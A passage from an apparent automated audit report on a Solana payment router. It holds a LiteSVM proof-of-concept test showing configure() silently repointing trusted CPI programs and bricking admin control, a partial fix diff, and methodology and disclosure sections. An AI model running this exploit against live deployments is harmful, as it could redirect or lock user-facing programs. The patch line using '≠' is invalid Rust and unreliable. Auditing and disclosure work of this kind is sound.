//!   CASE C (auth gate is sound - refutes L1 i=61/i=62 missing-auth): a fresh router with a

#[test]
fn configure_silently_repoints_and_bricks_router_but_auth_gate_is_sound() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    let (router_pda, _router_bump) = Pubkey::find_program_address(&[ROUTER_SEED], &pid);

    // -- Set up the live router via the REAL initialize() (admin == A) --------------------
    let admin = Keypair::new();

    // ... account/SPL pre-state setup elided for brevity ...

    let reg0b = Pubkey::new_unique();
    let pool0b = Pubkey::new_unique();
    run_initialize(&mut svm2, pid, router_pda2, &admin2, &reg0b, &pool0b);
    assert_eq!(router_admin(&svm2, &router_pda2), admin2.pubkey(), "fresh router: admin == admin2");

    let attacker_pool_c = Pubkey::new_unique();
    let c_err = try_configure(
        &mut svm2, pid, router_pda2, &attacker,
        configure_data(None, Some(attacker_pool_c), None),
    )
    .expect_err("CASE C: a NON-ADMIN configure must FAIL - has_one=admin + Signer is enforced");
    assert!(
        c_err.contains("NotAdmin")
            || c_err.contains("ConstraintHasOne")
            || c_err.contains("2001")
            || c_err.contains("0x7d1")
            || c_err.contains("6004")
            || c_err.contains("0x1774"),
```

```
        "CASE C: attacker configure is rejected by the auth gate (NotAdmin / ConstraintHasOne).\nlogs:\n{c_err}");
    assert_eq!(router_pool(&svm2, &router_pda2), pool0b,
        "CASE C: the attacker changed NOTHING - pool_program is unchanged; the residual issue is \
         the missing zero-guard + missing event, NOT a missing authorization check");

    println!("L2-39 EXPLOITED: configure() on the REAL solana_payment_match_router_v2.so \
        (A) silently repointed pool_program + match_registry_program to attacker programs with NO \
        emitted event (no `Program data:` line - no RouterReconfigured type exists), making a \
        malicious CPI-target repoint undetectable on-chain; (B) set router.admin = \
        Pubkey::default() with no zero-guard (lib.rs:106-108) and the only admin path (configure) \
        then failed has_one=admin for the original admin - router config bricked forever; while \
        (C) a non-admin configure was correctly rejected with NotAdmin (auth gate is sound, \
        refuting L1 i=61/i=62).");
}

// full runnable harness: l5/L2-39_router_v2_reconfig/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-payment-match-router-v2/src/lib.rs
+++ b/solana-payment-match-router-v2/src/lib.rs
@@ -69,11 +69,19 @@
         match_registry_program: Pubkey,
         pool_program: Pubkey,
+        // FIX F05: pin the trusted pairing-verifier program id at init,
+        // alongside the registry/pool ids, so `verify_and_record` can
+        // reject a caller-supplied no-op verifier.
+        pairing_verifier: Pubkey,
     ) -> Result<()> {
         require!(match_registry_program != Pubkey::default(), RouterError::ZeroProgram);
         require!(pool_program != Pubkey::default(), RouterError::ZeroProgram);
+        // FIX F05: a zero verifier id would disable the proof gate entirely.
+        require!(pairing_verifier != Pubkey::default(), RouterError::ZeroProgram);
         let router = &mut ctx.accounts.router;
         router.admin = ctx.accounts.admin.key();
         router.match_registry_program = match_registry_program;
         router.pool_program = pool_program;
+        // FIX F05: store the trusted verifier so it can be pinned at use.
+        router.pairing_verifier = pairing_verifier;
         router.bump = ctx.bumps.router;
         emit!(RouterInitialized {
@@ -81,4 +89,5 @@
             match_registry_program,
             pool_program,
+            pairing_verifier,
         });
         Ok(())
@@ -93,4 +102,6 @@
         match_registry_program: Option<Pubkey>,
         pool_program: Option<Pubkey>,
+        // FIX F05: optional rotation of the pinned pairing verifier.
+        pairing_verifier: Option<Pubkey>,
         new_admin: Option<Pubkey>,
     ) -> Result<()> {
@@ -104,7 +115,27 @@
             router.pool_program = next;
         }
+        // FIX F05: allow the admin to rotate the pinned pairing verifier
+        // (mirrors the registry/pool rotation), guarded against the zero id
+        // so a rotation can never silently disable the proof gate.
+        if let Some(next) = pairing_verifier {
+            require!(next != Pubkey::default(), RouterError::ZeroProgram);
+            router.pairing_verifier = next;
+        }
         if let Some(next) = new_admin {
+            // FIX F14: reject the all-zero key. Without this guard an admin
+            // could hand governance to Pubkey::default(), which no signer can
+            // ever produce, permanently bricking `configure`.
```

```
+            require!(next ≠ Pubkey::default(), RouterError::ZeroAdmin);
             router.admin = next;
         }
+        // FIX F15: emit a config-change event so repointing the trusted CPI
... (diff truncated -- full patch in fix-program/programs/solana-payment-match-router-v2/src/lib.rs)
```

A — SEVERITY RUBRIC

TIER	DEFINITION
CRITICAL	Direct loss of user funds or full protocol takeover with no meaningful preconditions. Reachable from a permissionless instruction by any signer. Must be patched immediately.
HIGH	Significant loss of user funds or protocol invariant violation under realistic preconditions (specific market state, signer with limited but obtainable role). Patch should ship in next release.
MEDIUM	Hardening issue, partial loss possible, or invariant violation requiring privileged signer or improbable state. Worth fixing in normal cadence.
LOW	Minor issue with no plausible path to fund loss. Code-quality or defense-in-depth concern.
INFO	Informational. No security impact. Documentation or style suggestion.

B — METHODOLOGY

Layer overview

LAYER	FUNCTION
`Layer 1`	Multi-agent recon. For each hypothesis, parallel LLM agents read the engine source and return a TRUE / FALSE / NEEDS_LAYER_2_TO_DECIDE verdict with confidence + per-agent grounding.
`Layer 1.5`	Adversarial debate. Contested verdicts (NEEDS_L2 or split verdicts) are promoted through a single-round attacker / defender debate, with a separate judge resolving the final verdict.
`Layer 2`	Concrete proof-of-concept. An inverted-assertion test is authored in Rust and run via `cargo test`. The test "fires" iff an abort with a custom error code originates in the target module (not stdlib / setup).
`Layer 2.5`	Triage. An LLM judge classifies each fire as `STRONG` (real bug), `SOFT` (wrong invariant), `FALSE` (artifactual abort), or `LOST` (signal missing). STRONG fires are clustered by (engine_function, target_file) so the same code-site bug under multiple hypothesis IDs collapses to one root cause.
`Layer 3`	Symbolic verification. Kani-based bounded model checking. The harness asserts the violated invariant; Kani either finds a counterexample within the bounded depth or proves safety.
`Layer 4`	On-chain BPF reproduction. The Solana program is deployed into LiteSVM and the PoC re-executed through the deployed instructions, confirming the wrapper-side defenses don't catch the bug.
`Layer P3`	Fix-bundle pipeline. The LLM authors a structural patch against the confirmed root cause and verifies it through a 6-gate machine check (well-formed diff, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still pass, and a language-specific symbolic/runtime check — Kani for Solana, Move Prover for Aptos, Halmos for Solidity, CBMC for C, fast-check property testing for TypeScript). Gates auto-skip when the language doesn't apply (the symbolic / runtime gates of one toolchain skip on cycles authored against another, with that language's verdict already reported under Layer 3 / Layer 4); the test-suite gate skips for eval targets that ship without a unified runner. Operator authorization is required before any upstream PR is opened.

Cycle execution

This cycle was produced by Jelleo's continuous, hypothesis-driven Solana audit loop. Every finding originates as a falsifiable invariant claim from a per-protocol hypothesis library, dispatched to Layer 1 multi-agent recon, promoted on contested verdicts via Layer 1.5 adversarial debate, and confirmed empirically through a Layer 2 `cargo test` proof-of-concept. Layer 2.5 triage classifies each fire as `STRONG` / `SOFT` / `FALSE` / `LOST`; only STRONG cluster representatives advance to `confirmed` and appear in §01 above. SOFT and STRONG duplicates land in `triaged`; FALSE fires return to `new`. Lifecycle: `new → triaged → confirmed → disclosed → fixed → verified`. Every cycle is signed Ed25519 against the platform key — see the cover-page receipt.

§ B.1 — Cycle funnel. Hypotheses tested → PoC fires → Layer 2.5 judge filters out artifactual / mis-invariant fires → surviving STRONG fires cluster by code site → cluster representatives become published findings.

C — AUDIT ARTIFACTS

All cycle artifacts are persisted on disk and verifiable independently of this report. The table below lists the canonical paths under the cycle workspace so a reviewer can re-execute every layer or recompute the cycle Merkle root.

ARTIFACT	PATH (RELATIVE TO WORKSPACE)
Cycle summary (manifest of every step)	`hunts/<cycle>/hunt_summary.json`
Per-step event log	`hunts/<cycle>/hunt.log.jsonl` (absent in this cycle)
Layer 2.5 triage verdicts	`hunts/<cycle>/triage.jsonl`
Layer 2 PoC sources (Rust)	`hunts/<cycle>/poc/test_<slug>.rs`
Layer 2 PoC run logs	`hunts/<cycle>/poc/cargo_<slug>.log`
Layer 3 Kani harnesses + verdicts	`hunts/<cycle>/kani/<slug>/`
Layer 4 LiteSVM exploit tests	`hunts/<cycle>/litesvm/<slug>/`
Layer P3 fix bundles (patch.diff + evidence/ + manifest.json)	`hunts/<cycle>/bundles/<finding_id>/`
Narrative writeups (per finding)	`hunts/<cycle>/narratives/<hyp_id>.md`
Cycle Merkle root (tamper-evidence)	`hunts/<cycle>/merkle.json` (absent in this cycle)
Findings DB (SQLite)	`findings.db`
Ed25519 public key for receipt verification	`https://jelleo.com/keys/jelleo.ed25519.pub`

D — DISCLAIMERS

Findings in this report reflect the state of the engine source at the commit hash on the cover page. Subsequent changes to the codebase are not analyzed. The report is not a guarantee of code correctness or security: it documents invariants that fired (or held) under the hypothesis library applied during this cycle. Out-of-scope items are listed in §00.1 (Scope).

§03 reflects bundle-level state. A row is treated as a confirmed finding when the bundle's machine verification gates (PoC fails pre-patch + PoC passes post-patch + tests still pass) all hold, even if the Layer 2.5 LLM judge initially classified the fire as `SOFT` / `FALSE` / `LOST` — the verifier's empirical patch-defuses-bug evidence supersedes the judge. Rows that did not reach a confirmed lifecycle state are retained in §03 as audit-trail evidence but are not published findings; the authoritative set is whatever appears in §01.

Communication channel: security@jelleo.com (PGP key on jelleo.com/security.html). Coordinated disclosure follows the timeline published in our security policy; pre-disclosure leak protections are enforced at the report level (the `--public` renderer suppresses confirmed-but-not-disclosed findings).

Methodology spec: docs/methodology/ · Live reference: jelleo.com/methodology.html · Source: github.com/Copenhagen0x/audit-pipeline-cli

---